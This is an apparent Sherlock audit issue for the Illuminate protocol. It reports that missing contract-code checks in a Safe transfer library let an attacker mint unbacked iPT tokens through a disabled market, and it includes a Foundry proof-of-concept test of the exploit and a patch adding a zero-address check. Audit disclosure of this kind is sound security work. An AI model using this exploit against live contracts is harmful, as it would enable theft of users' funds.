sherlock-audit / 2022-10-illuminate-judging

3 stars 0 forks source link

Jeiwan - Missing contract code existence check can cause free and unlimited iPT minting #218

Closed sherlock-admin closed 2 years ago

sherlock-admin commented 2 years ago

Jeiwan

medium

Missing contract code existence check can cause free and unlimited iPT minting

Summary

Missing contract code existence check can cause free and unlimited iPT minting

Vulnerability Detail

The transfer, transferFrom, and approve functions of the Safe library don't check whether the called address has some code deployed at it (Safe.sol#L26-L42). This is a known issue of Solmate, which the library is based on (SafeTransferLib.sol#L9). This can cause false positives when transferring tokens.

Impact

One exploit scenario that's allowed due to the missing checks is when the mint function of Lender is called with the principal of a misconfigured or disabled market. This will allow an attacker to mint iPT tokens infinitely without providing required principal tokens in exchange.

Code Snippet

// test/fork/Lender.t.sol
function testMintUnbacked_AUDIT() public {
    vm.startPrank(msg.sender);
    IERC20(Contracts.ELEMENT_TOKEN).approve(address(l), startingBalance);
    vm.stopPrank();

    l.setMarketPlace(address(mp));

    address[8] memory contracts;
    contracts[0] = Contracts.SWIVEL_TOKEN; // Swivel
    contracts[1] = Contracts.YIELD_TOKEN; // Yield
    contracts[2] = Contracts.ELEMENT_TOKEN; // Element
    // One market is disabled/misconfigured. Its principal token's address will be the zero address.
    // contracts[3] = Contracts.PENDLE_TOKEN; // Pendle
    contracts[4] = Contracts.TEMPUS_TOKEN; // Tempus
    contracts[5] = Contracts.SENSE_TOKEN; // Sense
    contracts[6] = Contracts.APWINE_TOKEN; // APWine
    contracts[7] = Contracts.NOTIONAL_TOKEN; // Notional

    mp.createMarket(
        Contracts.USDC,
        maturity,
        contracts,
        'TEST-TOKEN',
        'TEST',
        Contracts.ELEMENT_VAULT,
        Contracts.APWINE_ROUTER
    );

    runCheatcodes(Contracts.USDC);
    deal(Contracts.PENDLE_TOKEN, msg.sender, startingBalance);

    // Calling mint with the principal of the disabled/misconfigured market.
    // The principal address will be the zero address. The missed contract code
    // checks will make the principal token transfer successful, even though no tokens
    // will be transferred.
    l.mint(uint8(4), Contracts.USDC, maturity, startingBalance);

    address ipt = mp.markets(Contracts.USDC, maturity, 0);

    // The attacker has minted iPT tokens but didn't pay the Pendle tokens.
    assertEq(startingBalance, IERC20(ipt).balanceOf(msg.sender));
    assertEq(startingBalance, IERC20(Contracts.PENDLE_TOKEN).balanceOf(msg.sender));
    assertEq(
        0,
        IERC20(Contracts.PENDLE_TOKEN).balanceOf(address(l))
    );
}

Tool used

Manual Review

Recommendation

Consider adding the missing contract code checks to the Safe library (or use the OpenZeppelin's implementation). Also, consider checking for the zero principal address in the mint function and other functions that get a principal address:

--- a/src/Lender.sol
+++ b/src/Lender.sol
@@ -275,6 +275,9 @@ contract Lender {
     ) external unpaused(underlying, maturity, principalId) returns (bool) {
         // Fetch the desired principal token
         address principal = IMarketPlace(marketPlace).token(underlying, maturity, principalId);
+        if (principal == address(0)) {
+            revert(); // Invalid principal address
+        }

Duplicate of #238